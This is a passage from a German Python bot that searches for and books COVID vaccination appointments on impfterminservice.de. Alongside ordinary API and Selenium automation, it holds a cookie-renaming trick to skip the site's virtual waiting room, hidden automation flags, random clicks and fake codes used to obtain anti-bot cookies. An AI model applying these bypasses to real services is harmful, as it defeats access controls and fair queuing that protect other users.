\"ImpfterminService\"\n\n def impfzentren_laden(self):\n \"\"\"\n Lädt alle Impfzentren, gruppiert nach URL.\n\n Beispiel (verkürzter Output, eigentlich gibt es mehr Impfzentren):\n self.impfzentren_laden([\"68163\", \"69124\", \"69123\"])\n {\n 'https://001-iz.impfterminservice.de/': [\n {\n 'Zentrumsname': 'Maimarkthalle',\n 'PLZ': '68163',\n 'Ort': 'Mannheim',\n 'Bundesland': 'Baden-Württemberg',\n 'URL': 'https://001-iz.impfterminservice.de/',\n 'Adresse': 'Xaver-Fuhr-Straße 113'\n },\n {\n 'Zentrumsname': 'Zentrales Impfzentrum Heidelberg - Commissary Patrick-Henry-Village',\n 'PLZ': '69124',\n 'Ort': 'Heidelberg',\n 'Bundesland': 'Baden-Württemberg',\n 'URL': 'https://001-iz.impfterminservice.de/',\n 'Adresse': 'South Gettysburg Avenue 45'\n }\n ],\n 'https://002-iz.impfterminservice.de/': [\n {\n 'Zentrumsname': 'Gesellschaftshaus Pfaffengrund',\n 'PLZ': '69123',\n 'Ort': 'Heidelberg',\n 'Bundesland': 'Baden-Württemberg',\n 'URL': 'https://002-iz.impfterminservice.de/',\n 'Adresse': 'Schwalbenweg 1/2'\n }\n ]\n }\n\n :return: Impfzentren gruppiert nach URL; siehe obiges Beispiel\n \"\"\"\n\n location = \"https://www.impfterminservice.de/assets/static/impfzentren.json\"\n\n try:\n self.s.cookies.clear()\n res = self.s.get(location, timeout=15)\n except RequestException as exc:\n raise RuntimeError(\n f\"Impfzentren können nicht geladen werden: {str(exc)}\"\n ) from exc\n if not res.ok:\n raise RuntimeError(\n \"Impfzentren können nicht geladen werden: \"\n f\"{res.status_code} {res.text}\")\n\n # Antwort-JSON in Impfzentren-Liste umwandeln\n verfuegbare_impfzentren = [\n iz\n for bundesland, impfzentren in res.json().items()\n for iz in impfzentren\n ]\n self.log.info(f\"{len(verfuegbare_impfzentren)} Impfzentren verfügbar\")\n\n # Gefilterte Impfzentren-Liste nach URL gruppieren\n result = {}\n for iz in verfuegbare_impfzentren:\n url = iz[\"URL\"]\n if url not in result:\n result[url] = []\n result[url].append(iz)\n return result\n\n def impfstoffe_laden(self, url):\n \"\"\"\n Lädt die verfügbaren Impstoff-Qualifikationen\n\n Beispiel:\n self.impfstoffe_laden(\"https://001-iz.impfterminservice.de/\")\n [\n {\n 'qualification': 'L920',\n 'name': 'Comirnaty (BioNTech)',\n 'short': 'BioNTech',\n 'tssname': 'BioNTech',\n 'interval': 40,\n 'age': '16+',\n 'tssage': '16-17'\n },\n {\n 'qualification': 'L921',\n 'name': 'mRNA-1273 (Moderna)',\n 'short': 'Moderna',\n 'tssname': 'Moderna, BioNTech',\n 'interval': 40,\n 'age': '18+',\n 'tssage': '18-59'\n },\n {\n 'qualification': 'L922',\n 'name': 'COVID-1912 (AstraZeneca)',\n 'short': 'AstraZeneca',\n 'tssname': 'Moderna, BioNTech, AstraZeneca',\n 'interval': 40,\n 'age': '60+',\n 'tssage': '60+'\n },\n {\n 'qualification': 'L923',\n 'name': 'COVID-19 Vaccine Janssen (Johnson & Johnson)',\n 'short': 'Johnson&Johnson',\n 'tssname': 'Johnson&Johnson',\n 'age': '60+'\n }\n ]\n\n :param url: URL des Servers, auf dem die verfügbaren\n Impfstoff-Qualifikationen abgerufen werden sollen\n\n :return: Liste an Impstoff-Qualifikationen; siehe obiges Beispiel\n \"\"\"\n\n location = f\"{url}assets/static/its/vaccination-list.json\"\n\n try:\n self.s.cookies.clear()\n res = self.s.get(location, timeout=15)\n except RequestException as exc:\n raise RuntimeError(\n f\"Impfstoffe können nicht geladen werden: {str(exc)}\")\n if not res.ok:\n raise RuntimeError(\n f\"Impfstoffe können nicht geladen werden: {res.status_code} {res.text}\")\n\n qualifikationen = res.json()\n\n for qualifikation in qualifikationen:\n q_id = qualifikation.get(\"qualification\")\n alter = qualifikation.get(\"age\", \"N/A\")\n intervall = qualifikation.get(\"interval\", \" ?\")\n impfstoffe = extrahiere_impfstoffe(qualifikation)\n self.log.info(\n f\"[{q_id}] Altersgruppe: {alter} \"\n f\"(Intervall: {intervall} Tage) --> {str(impfstoffe)}\")\n\n return qualifikationen\n\n def get_chromedriver_path(self):\n \"\"\"\n :return: String mit Pfad zur chromedriver-Programmdatei\n \"\"\"\n chromedriver_from_env = os.getenv(\"VACCIPY_CHROMEDRIVER\")\n if chromedriver_from_env:\n return chromedriver_from_env\n if check_webdriver():\n return webdriver_executable()\n\n # Chromedriver anhand des OS auswählen\n if 'linux' in self.operating_system:\n if \"64\" in platform.architecture() or sys.maxsize > 2 ** 32:\n return os.path.join(self.PATH, \"tools/chromedriver/chromedriver-linux-64\")\n else:\n return os.path.join(self.PATH, \"tools/chromedriver/chromedriver-linux-32\")\n elif 'windows' in self.operating_system:\n return os.path.join(self.PATH, \"tools/chromedriver/chromedriver-windows.exe\")\n elif 'darwin' in self.operating_system:\n if \"arm\" in platform.processor().lower():\n return os.path.join(self.PATH, \"tools/chromedriver/chromedriver-mac-m1\")\n else:\n return os.path.join(self.PATH, \"tools/chromedriver/chromedriver-mac-intel\")\n else:\n raise ValueError(f\"Nicht unterstütztes Betriebssystem {self.operating_system}\")\n\n def get_chromedriver(self, headless):\n chrome_options = Options()\n\n # deaktiviere Selenium Logging\n chrome_options.add_argument('disable-infobars')\n chrome_options.add_experimental_option('useAutomationExtension', False)\n chrome_options.add_experimental_option(\"excludeSwitches\", [\"enable-automation\"])\n chrome_options.add_experimental_option('excludeSwitches', ['enable-logging'])\n\n # Zur Behebung von \"DevToolsActivePort file doesn't exist\"\n # chrome_options.add_argument(\"-no-sandbox\");\n chrome_options.add_argument(\"-disable-dev-shm-usage\");\n\n # Chrome head is only required for the backup booking process.\n # User-Agent is required for headless, because otherwise the server lets us hang.\n chrome_options.add_argument(\"user-agent=Mozilla/5.0\")\n\n chromebin_from_env = os.getenv(\"VACCIPY_CHROME_BIN\")\n if chromebin_from_env:\n chrome_options.binary_location = os.getenv(\"VACCIPY_CHROME_BIN\")\n elif check_chromium():\n chrome_options.binary_location = str(chromium_executable())\n\n chrome_options.headless = headless\n\n return Chrome(self.get_chromedriver_path(), options=chrome_options)\n\n def driver_enter_code(self, driver, impfzentrum, code):\n \"\"\"\n TODO xpath code auslagern\n \"\"\"\n\n self.log.info(\"Vermittlungscode eintragen und Mausbewegung / Klicks simulieren. \"\n \"Dieser Vorgang kann einige Sekunden dauern.\")\n\n location = f\"{impfzentrum['URL']}impftermine/service?plz={impfzentrum['PLZ']}\"\n driver.get(location) # Kann WebDriverException nach außen werfen.\n\n # Queue Bypass\n while True:\n queue_cookie = driver.get_cookie(\"akavpwr_User_allowed\")\n\n if not queue_cookie \\\n or \"Virtueller Warteraum\" not in driver.page_source:\n break\n\n self.log.info(\"Im Warteraum, Seite neu laden\")\n queue_cookie[\"name\"] = \"akavpau_User_allowed\"\n driver.add_cookie(queue_cookie)\n\n # Seite neu laden\n time.sleep(5)\n driver.get(location)\n driver.refresh()\n\n # Klick auf \"Auswahl bestätigen\" im Cookies-Banner\n button_xpath = \"//a[contains(@class,'cookies-info-close')][1]\"\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n time.sleep(.5)\n\n # Zufälliges anklicken von 10-15 Elementen auf der Seite\n # ggf. werden andere Seiten aufgerufen\n # Zufälliges anklicken von 10-15 Elementen auf der Seite\n # ggf. werden andere Seiten aufgerufen\n for i in range(randint(10, 15)):\n try:\n action = ActionChains(driver)\n elements = driver.find_elements_by_tag_name('div')\n action.move_to_element(choice(elements)).click().perform()\n time.sleep(.5)\n except Exception as exc:\n pass\n\n driver.get(location)\n\n # Klick auf \"Vermittlungscode bereits vorhanden\"\n button_xpath = \"//input[@name=\\\"vaccination-approval-checked\\\"]/..\"\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n\n # Auswahl des ersten Code-Input-Feldes\n input_xpath = \"//input[@name=\\\"ets-input-code-0\\\"]\"\n input_field = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, input_xpath)))\n action = ActionChains(driver)\n action.move_to_element(input_field).click().perform()\n\n # Code eintragen\n input_field.send_keys(code)\n time.sleep(.1)\n\n # Klick auf \"Termin suchen\"\n button_xpath = \"//app-corona-vaccination-yes//button[@type=\\\"submit\\\"]\"\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n time.sleep(1.5)\n\n\n def driver_get_cookies(self, driver, url, manual):\n # Erstelle zufälligen Vermittlungscode für die Cookie-Generierung\n legal_chars = string.ascii_uppercase + string.digits\n random_chars = \"\".join(choices(legal_chars, k=5))\n random_code = f\"VACC-IPY{random_chars[0]}-{random_chars[1:]}\"\n\n # Kann WebDriverException nach außen werfen:\n self.driver_enter_code(\n driver, choice(self.impfzentren[url]), random_code)\n if manual:\n self.log.warn(\n \"Du hast jetzt 30 Sekunden Zeit möglichst viele Elemente im Chrome Fenster anzuklicken. Das Fenster schließt sich automatisch.\")\n time.sleep(30)\n\n required = [\"bm_sz\", \"akavpau_User_allowed\"]\n\n cookies = {\n c[\"name\"]: c[\"value\"]\n for c in driver.get_cookies()\n if c[\"name\"] in required\n }\n\n # prüfen, ob Cookies gesetzt wurden und in Session übernehmen\n for name in required:\n if name not in cookies:\n raise RuntimeError(f\"{name} fehlt!\")\n\n self.log.info(f\"Browser-Cookie generiert: *{cookies['bm_sz'][-6:]}\")\n return cookies\n\n def driver_termin_buchen(self, driver, reservierung):\n timestamp = time.strftime(\"%Y%m%d-%H%M%S\")\n filepath = os.path.join(self.PATH, \"tools\\\\log\\\\\")\n\n try:\n self.driver_enter_code(\n driver, reservierung[\"impfzentrum\"], reservierung[\"code\"])\n except BaseException as exc:\n self.log.error(f\"Vermittlungscode kann nicht eingegeben werden: {str(exc)}\")\n pass\n\n try:\n # Klick auf \"Termin suchen\"\n button_xpath = \"//button[@data-target=\\\"#itsSearchAppointmentsModal\\\"]\"\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n except:\n self.log.error(\"Termine können nicht gesucht werden\")\n try:\n driver.save_screenshot(filepath + \"errorterminsuche\" + timestamp + \".png\")\n except:\n self.log.error(\"Screenshot konnte nicht gespeichert werden\")\n pass\n\n # Termin auswählen\n try:\n time.sleep(3)\n button_xpath = '//*[@id=\"itsSearchAppointmentsModal\"]/div/div/div[2]/div/div/form/div[1]/div[2]/label/div[2]/div'\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n time.sleep(.5)\n except:\n self.log.error(\"Termine können nicht ausgewählt werden\")\n try:\n with open(filepath + \"errorterminauswahl\" + timestamp + \".html\", 'w',\n encoding='utf-8') as file:\n file.write(str(driver.page_source))\n driver.save_screenshot(filepath + \"errorterminauswahl\" + timestamp + \".png\")\n except:\n self.log.error(\"HTML und Screenshot konnten nicht gespeichert werden\")\n pass\n\n # Klick Button \"AUSWÄHLEN\"\n try:\n button_xpath = '//*[@id=\"itsSearchAppointmentsModal\"]//button[@type=\"submit\"]'\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n time.sleep(.5)\n except:\n self.log.error(\"Termine können nicht ausgewählt werden (Button)\")\n pass\n\n # Klick Daten erfassen\n try:\n button_xpath = '/html/body/app-root/div/app-page-its-search/div/div/div[2]/div/div/div[5]/div/div[2]/div[2]/div[2]/button'\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n time.sleep(.5)\n except:\n self.log.error(\"1. Daten können nicht erfasst werden\")\n pass\n try:\n # Klick Anrede\n arrAnreden = [\"Herr\", \"Frau\", \"Kind\", \"Divers\"]\n if self.kontakt['anrede'] in arrAnreden:\n button_xpath = '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//div[contains(@class,\"ets-radio-wrapper\")]/label[@class=\"ets-radio-control\"]/span[contains(text(),\"' + \\\n self.kontakt['anrede'] + '\")]'\n else:\n button_xpath = '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//div[contains(@class,\"ets-radio-wrapper\")]/label[@class=\"ets-radio-control\"]/span[contains(text(),\"Divers\")]'\n\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n\n # Input Vorname\n input_xpath = '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"firstname\"]'\n input_field = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, input_xpath)))\n action.move_to_element(input_field).click().perform()\n input_field.send_keys(self.kontakt['vorname'])\n\n # Input Nachname\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"lastname\"]')\n input_field.send_keys(self.kontakt['nachname'])\n\n # Input PLZ\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"zip\"]')\n input_field.send_keys(self.kontakt['plz'])\n\n # Input City\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"city\"]')\n input_field.send_keys(self.kontakt['ort'])\n\n # Input Strasse\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"street\"]')\n input_field.send_keys(self.kontakt['strasse'])\n\n # Input Hasunummer\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"housenumber\"]')\n input_field.send_keys(self.kontakt['hausnummer'])\n\n # Input Telefonnummer\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"phone\"]')\n input_field.send_keys(self.kontakt['phone'].replace(\"+49\", \"\"))\n\n # Input Mail\n input_field = driver.find_element_by_xpath(\n '//*[@id=\"itsSearchContactModal\"]//app-booking-contact-form//input[@formcontrolname=\"notificationReceiver\"]')\n input_field.send_keys(self.kontakt['notificationReceiver'])\n except:\n self.log.error(\"Kontaktdaten können nicht eingegeben werden\")\n try:\n driver.save_screenshot(filepath + \"errordateneingeben\" + timestamp + \".png\")\n except:\n self.log.error(\"Screenshot konnte nicht gespeichert werden\")\n pass\n\n # Klick Button \"ÜBERNEHMEN\"\n try:\n button_xpath = '//*[@id=\"itsSearchContactModal\"]//button[@type=\"submit\"]'\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n time.sleep(.7)\n except:\n self.log.error(\"Button ÜBERNEHMEN kann nicht gedrückt werden\")\n pass\n\n # Termin buchen\n try:\n button_xpath = '/html/body/app-root/div/app-page-its-search/div/div/div[2]/div/div/div[5]/div/div[3]/div[2]/div[2]/button'\n button = WebDriverWait(driver, 1).until(\n EC.element_to_be_clickable((By.XPATH, button_xpath)))\n action = ActionChains(driver)\n action.move_to_element(button).click().perform()\n except:\n self.log.error(\"Button Termin buchen kann nicht gedrückt werden\")\n pass\n time.sleep(3)\n\n if \"Ihr Termin am\" not in str(driver.page_source):\n raise BookingError()\n\n def get_cookies(self, url, manual):\n \"\"\"\n Cookies der Session erneuern, wenn sie abgelaufen sind.\n :return:\n \"\"\"\n\n self.log.info(\"Browser-Cookies generieren\")\n driver = self.get_chromedriver(headless=False)\n try:\n return self.driver_get_cookies(driver, url, manual)\n except WebDriverException as exc:\n raise RuntimeError(\n f\"Cookies können nicht generiert werden: {str(exc)}\") from exc\n finally:\n driver.quit()\n\n def selenium_termin_buchen(self, reservierung):\n \"\"\"\n Backup Prozess:\n Wenn die Terminbuchung mit dem Bot nicht klappt, wird das\n Browserfenster geöffnet und die Buchung im Browser beendet\n :return:\n \"\"\"\n\n self.log.info(\"Termin über Selenium buchen\")\n driver = self.get_chromedriver(headless=False)\n try:\n self.driver_termin_buchen(driver, reservierung)\n except BookingError:\n url = reservierung[\"impfzentrum\"][\"URL\"]\n plz_impfzentrum = reservierung[\"impfzentrum\"][\"PLZ\"]\n code = reservierung[\"code\"]\n self.log.error(\"Automatisierte Terminbuchung fehlgeschlagen\")\n self.log.error(\"Termin manuell im Fenster oder im Browser buchen.\")\n self.log.error(\n f\"Link: {url}impftermine/suche/{code}/{plz_impfzentrum}\")\n time.sleep(10 * 60) # Sleep, um Fenster offen zu halten\n raise # Ursprüngliche Exception reraisen\n finally:\n driver.quit()\n\n def login(self, plz_impfzentrum, code, cookies):\n \"\"\"\n Einloggen mittels Vermittlungscode, um qualifizierte Impfstoffe zu erhalten.\n\n Beispiel:\n self.login(\"69123\", \"XXXX-XXXX-XXXX\", cookies)\n {\n 'kv': '52',\n 'qualifikationen': ['L921'],\n 'verknuepft': True\n }\n\n :return: Deserialisierte JSON-Antwort vom Server; siehe obiges Beispiel\n \"\"\"\n\n url = self.impfzentrum_in_plz(plz_impfzentrum)[\"URL\"]\n location = f\"{url}rest/login?plz={plz_impfzentrum}\"\n\n try:\n self.s.cookies.clear()\n res = self.s.get(\n location,\n headers=get_headers(code),\n cookies=cookies,\n timeout=15)\n except RequestException as exc:\n raise RuntimeError(f\"Login mit Code fehlgeschlagen: {str(exc)}\")\n if res.status_code == 401:\n raise UnmatchingCodeError(\n f\"Login in {plz_impfzentrum} nicht erfolgreich: \"\n f\"Vermittlungscode nicht gültig für diese PLZ\")\n if not res.ok:\n raise RuntimeError(\n f\"Login mit Code fehlgeschlagen: {res.status_code} {res.text}\")\n\n if \"Virtueller Warteraum\" in res.text:\n raise RuntimeError(\"Login mit Code fehlgeschlagen: Warteraum\")\n\n try:\n return res.json()\n except JSONDecodeError as exc:\n raise RuntimeError(\n \"Login mit Code fehlgeschlagen: \"\n f\"JSONDecodeError: {str(exc)}\") from exc\n\n def reservierung_finden(self, plz_impfzentren: list, zeitrahmen: dict):\n for url in self.impfzentren:\n ausgewaehlte_impfzentren = [\n iz for iz in self.impfzentren[url]\n if iz[\"PLZ\"] in plz_impfzentren\n ]\n if not ausgewaehlte_impfzentren:\n continue\n\n plz = choice(ausgewaehlte_impfzentren)[\"PLZ\"]\n codes = self.codes[url]\n if not codes:\n self.log.warn(f\"Kein gültiger Vermittlungscode vorhanden für PLZ {plz}\")\n continue\n\n try:\n reservierung = self.reservierung_hier_finden(\n zeitrahmen, plz, codes[0])\n if reservierung is not None:\n return reservierung\n except UnmatchingCodeError:\n code = codes.pop(0)\n plz_ausgeschlossen = [\n iz[\"PLZ\"] for iz in ausgewaehlte_impfzentren\n ]\n self.log.info(\n f\"Überspringe Code {code[:4]}* \"\n f\"für {', '.join(plz_ausgeschlossen)}\")\n except TimeframeMissed:\n self.rotiere_codes(url)\n except RuntimeError as exc:\n self.log.error(str(exc))\n\n return None\n\n def reservierung_hier_finden(\n self, zeitrahmen: dict, plz: str, code: str):\n \"\"\"\n Es wird überprüft, ob im Impfzentrum in der gegebenen PLZ ein oder\n mehrere Terminpaare (oder Einzeltermine) verfügbar sind, die dem\n Zeitrahmen entsprechen.\n Falls ja, wird ein zufälliger davon ausgewählt und zusammen mit\n Impfzentrum und Code zurückgegeben.\n Zum Format der Rückgabe, siehe Beispiel.\n\n Beispiel:\n zeitrahmen = {\n 'einhalten_bei': '1',\n 'von_datum': '29.03.2021'\n }\n\n self.reservierung_hier_finden(\n zeitrahmen, '68163', 'XXXX-XXXX-XXXX')\n {\n 'code': 'XXXX-XXXX-XXXX',\n 'impfzentrum': {\n 'Zentrumsname': 'Maimarkthalle',\n 'PLZ': '68163',\n 'Ort': 'Mannheim',\n 'URL': 'https://001-iz.impfterminservice.de/',\n },\n 'terminpaar': [\n {\n 'slotId': 'slot-56817da7-3f46-4f97-9868-30a6ddabcdef',\n 'begin': 1616999901000,\n 'bsnr': '005221080'\n },\n {\n 'slotId': 'slot-d29f5c22-384c-4928-922a-30a6ddabcdef',\n 'begin': 1623999901000,\n 'bsnr': '005221080'\n }\n ]\n }\n\n :param zeitrahmen: Zeitrahmen, dem das Terminpaar entsprechen muss\n :param plz: PLZ des Impfzentrums, in dem geprüft wird\n :param code: Vermittlungscode, für den eventuell gefundene Terminpaare\n reserviert werden.\n :return: Reservierungs-Objekt (siehe obiges Beispiel), falls ein\n passender Termin gefunden wurde, sonst None.\n :raise RuntimeError: Termine können nicht geladen werden\n \"\"\"\n\n impfzentrum = self.impfzentrum_in_plz(plz)\n url = impfzentrum[\"URL\"]\n location = f\"{url}rest/suche/impfterminsuche?plz={plz}\"\n\n try:\n self.s.cookies.clear()\n res = self.s.get(location, headers=get_headers(code), timeout=5)\n except RequestException as exc:\n raise RuntimeError(\n f\"Termine in {plz} können nicht geladen werden: {str(exc)}\")\n if res.status_code == 401:\n raise UnmatchingCodeError(\n f\"Termine in {plz} können nicht geladen werden: \"\n f\"Vermittlungscode nicht gültig für diese PLZ\")\n if not res.ok:\n raise RuntimeError(\n \"Termine in {plz} können nicht geladen werden: \"\n f\"{res.status_code} {res.text}\")\n\n if 'Virtueller Warteraum des Impfterminservice' in res.text:\n return None\n\n try:\n terminpaare = res.json().get(\"termine\")\n except JSONDecodeError as exc:\n raise RuntimeError(\n f\"Termine in {plz} können nicht geladen werden: \"\n f\"JSONDecodeError: {str(exc)}\")\n if not terminpaare:\n self.log.info(f\"Keine Termine verfügbar in {plz}\")\n return None\n\n if ENABLE_BEEPY:\n beepy.beep('coin')\n else:\n print(\"\\a\")\n\n terminpaare_angenommen = [\n tp for tp in terminpaare\n if terminpaar_im_zeitrahmen(tp, zeitrahmen)\n ]\n terminpaare_abgelehnt = [\n tp for tp in terminpaare\n if tp not in terminpaare_angenommen\n ]\n\n zentrumsname = impfzentrum.get('Zentrumsname').strip()\n ort = impfzentrum.get('Ort')\n\n for tp_abgelehnt in terminpaare_abgelehnt:\n self.log.warn(\n \"Termin gefunden - jedoch nicht im entsprechenden Zeitraum:\")\n self.log.info('-' * 50)\n self.log.warn(f\"'{zentrumsname}' in {plz} {ort}\")\n for num, termin in enumerate(tp_abgelehnt, 1):\n ts = datetime.fromtimestamp(termin[\"begin\"] / 1000).strftime(\n '%d.%m.%Y um %H:%M Uhr')\n self.log.warn(f\"{num}. Termin: {ts}\")\n self.log.warn(f\"Link: {url}impftermine/suche/{code}/{plz}\")\n self.log.info('-' * 50)\n\n if not terminpaare_angenommen:\n raise TimeframeMissed()\n\n # Auswahl des erstbesten Terminpaares\n tp_angenommen = choice(terminpaare_angenommen)\n self.log.success(f\"Termin gefunden!\")\n self.log.success(f\"'{zentrumsname}' in {plz} {ort}\")\n for num, termin in enumerate(tp_angenommen, 1):\n ts = datetime.fromtimestamp(termin[\"begin\"] / 1000).strftime(\n '%d.%m.%Y um %H:%M Uhr')\n self.log.success(f\"{num}. Termin: {ts}\")\n self.log.success(f\"Link: {url}impftermine/suche/{code}/{plz}\")\n\n # Reservierungs-Objekt besteht aus Terminpaar und Impfzentrum\n return {\n \"code\": code,\n \"impfzentrum\": impfzentrum,\n \"terminpaar\": tp_angenommen,\n }\n\n def termin_buchen(self, reservierung):\n \"\"\"Termin wird gebucht für die Kontaktdaten, die beim Starten des\n Programms eingetragen oder aus der JSON-Datei importiert wurden.\n\n :return: bool\n \"\"\"\n\n # Daten für Impftermin sammeln\n data = {\n \"plz\": reservierung[\"impfzentrum\"][\"PLZ\"],\n \"slots\": [termin.get(\"slotId\") for termin in reservierung[\"terminpaar\"]],\n \"qualifikationen\": [],\n \"contact\": self.kontakt\n }\n\n url = reservierung[\"impfzentrum\"][\"URL\"]\n location = f\"{url}rest/buchung\"\n headers = get_headers(reservierung[\"code\"])\n\n try:\n # get_cookies kann RuntimeError werfen\n cookies = self.get_cookies(url, manual=False)\n try:\n self.s.cookies.clear()\n res = self.s.post(\n location,\n json=data,\n headers=headers,\n cookies=cookies,\n timeout=15)\n except RequestException as exc:\n raise RuntimeError(\n f\"Termin konnte nicht gebucht werden: {str(exc)}\")\n if res.status_code == 400:\n # Example response data with status 400:\n # {\"errors\":[{\"code\":\"BU004\",\"text\":\"Slot nicht frei\"}]}\n # {\"errors\":[{\"code\":\"WP009\",\"text\":\"Buchung bereits durchgefuehrt\"}]}\n # {\"errors\":[{\"code\":\"WP011\",\"text\":\"Der ausgewählte Termin ist nicht mehr verfügbar. Bitte wählen Sie einen anderen Termin aus\"}]}\n raise AppointmentGone()\n if res.status_code != 201:\n raise RuntimeError(\n f\"Termin konnte nicht gebucht werden: {res.status_code} {res.text}\")\n except RuntimeError as exc:\n self.log.error(str(exc))\n self.log.info(\"Starte zweiten Versuch über Selenium ...\")\n self.selenium_termin_buchen(reservierung)\n\n def code_anfordern(self, mail, telefonnummer,\n plz_impfzentrum, geburtsdatum):\n \"\"\"\n SMS-Code beim Impfterminservice anfordern.\n\n :param mail: Mail für Empfang des Codes\n :param telefonnummer: Telefonnummer für SMS-Code, inkl. Präfix +49\n :param plz_impfzentrum: PLZ des Impfzentrums, für das ein Code erstellt werden soll\n :param geburtsdatum: Geburtsdatum der Person\n :return:\n \"\"\"\n\n url = self.impfzentrum_in_plz(plz_impfzentrum)[\"URL\"]\n location = f\"{url}rest/smspin/anforderung\"\n\n data = {\n \"plz\": plz_impfzentrum,\n \"email\": mail,\n \"phone\": telefonnummer,\n \"birthday\": \"{}-{:02d}-{:02d}\".format(*reversed([int(d) for d\n in geburtsdatum.split(\".\")])),\n \"einzeltermin\": False\n }\n\n cookies = None\n manual = False\n while True:\n if cookies is None:\n try:\n cookies = self.get_cookies(url, manual=manual)\n except RuntimeError as exc:\n self.log.error(str(exc))\n continue # Neuer Versuch in nächster Iteration\n\n try:\n self.s.cookies.clear()\n res = self.s.post(\n location,\n json=data,\n cookies=cookies,\n timeout=15)\n except RequestException as exc:\n self.log.error(f\"Vermittlungscode kann nicht angefragt werden: {str(exc)}\")\n self.log.info(\"Erneuter Versuch in 30 Sekunden\")\n time.sleep(30)\n continue # Neuer Versuch in nächster Iteration\n\n if res.status_code == 429:\n self.log.error(\"Anfrage wurde von der Botprotection geblockt\")\n self.log.error(\n \"Die Cookies müssen manuell im Browser generiert werden\")\n cookies = None\n manual = True\n continue # Neuer Versuch in nächster Iteration\n\n if res.status_code == 400 and res.text == '{\"error\":\"Anfragelimit erreicht.\"}':\n raise RuntimeError(\"Anfragelimit erreicht\")\n\n if not res.ok:\n self.log.error(\n \"Code kann nicht angefragt werden: \"\n f\"{res.status_code} {res.text}\")\n self.log.info(\"Erneuter Versuch in 30 Sekunden\")\n time.sleep(30)\n continue # Neuer Versuch in nächster Iteration\n\n try:\n token = res.json().get(\"token\")\n except JSONDecodeError as exc:\n raise RuntimeError(f\"JSONDecodeError: {str(exc)}\") from exc\n\n return (token, cookies)\n\n def code_bestaetigen(self, token, cookies, sms_pin, plz_impfzentrum):\n \"\"\"\n Bestätigung der Code-Generierung mittels SMS-Code\n\n :param token: Token der Code-Erstellung\n :param sms_pin: 6-stelliger SMS-Code\n :return: True falls SMS-Code korrekt war, sonst False\n \"\"\"\n\n url = self.impfzentrum_in_plz(plz_impfzentrum)[\"URL\"]\n location = f\"{url}rest/smspin/verifikation\"\n data = {\n \"token\": token,\n \"smspin\": sms_pin\n\n }\n\n manual = False\n while True:\n if cookies is None:\n try:\n cookies = self.get_cookies(url, manual=manual)\n except RuntimeError as exc:\n self.log.error(str(exc))\n continue # Neuer Versuch in nächster Iteration\n\n try:\n self.s.cookies.clear()\n res = self.s.post(\n location,\n json=data,\n cookies=cookies,\n timeout=15)\n except RequestException as exc:\n self.log.error(f\"Code-Verifikation fehlgeschlagen: {str(exc)}\")\n self.log.info(\"Erneuter Versuch in 30 Sekunden\")\n time.sleep(30)\n continue # Neuer Versuch in nächster Iteration\n\n if res.status_code == 429:\n self.log.error(\"Anfrage wurde von der Botprotection geblockt\")\n self.log.error(\n \"Die Cookies müssen manuell im Browser generiert werden\")\n cookies = None\n manual = True\n continue # Neuer Versuch in nächster Iteration\n\n if res.status_code == 400:\n return False\n\n if not res.ok:\n self.log.error(\n \"Code-Verifikation fehlgeschlagen: \"\n f\"{res.status_code} {res.text}\")\n self.log.info(\"Erneuter Versuch in 30 Sekunden\")\n time.sleep(30)\n continue # Neuer Versuch in nächster Iteration\n\n self.log.success(\n \"Der Vermittlungscode wurde erfolgreich angefragt, \"\n \"bitte prüfe deine Mails!\")\n return True\n\n def impfzentrum_in_plz(self, plz_impfzentrum):\n for url, gruppe in self.impfzentren.items():\n for iz in gruppe:\n if iz[\"PLZ\"] == plz_impfzentrum:\n return iz\n raise ValueError(\n f\"Gewünschte PLZ {plz_impfzentrum} wurde bei Initialisierung nicht angegeben\")\n\n def rotiere_codes(self, url):\n codes = self.codes[url]\n self.codes[url] = codes[1:] + codes[:1]\n\n def notify(self, title: str, msg: str):\n fire_notifications(self.notifications, self.operating_system, title, msg)\n\n @staticmethod\n def terminsuche(codes: list, plz_impfzentren: list, kontakt: dict,\n PATH: str, notifications: dict = {}, zeitrahmen: dict = dict(),\n check_delay: int = 30):\n \"\"\"\n Sucht mit mehreren Vermittlungscodes bei einer Liste von Impfzentren nach\n Terminen und bucht den erstbesten, der 